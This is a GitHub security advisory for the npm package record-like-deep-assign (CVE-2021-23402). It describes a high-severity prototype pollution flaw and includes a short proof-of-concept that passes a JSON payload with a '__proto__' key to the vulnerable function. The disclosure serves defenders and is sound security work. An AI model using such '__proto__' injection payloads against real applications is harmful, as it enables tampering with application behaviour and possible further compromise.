kripod/record-like-deep-assign · Security
Prototype Pollution in record-like-deep-assign
- GHSA ID
- GHSA-7qm6-9v49-38m9
- CVE ID
- CVE-2021-23402
- Severity
- high
- Published
- Updated
- CVSS
- 7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- CVSS v3
- 7.3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Description
All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.
PoC
const deepAssign = require('record-like-deep-assign');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
deepAssign({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);
CWEs
- CWE-915 · Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-1321 · Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')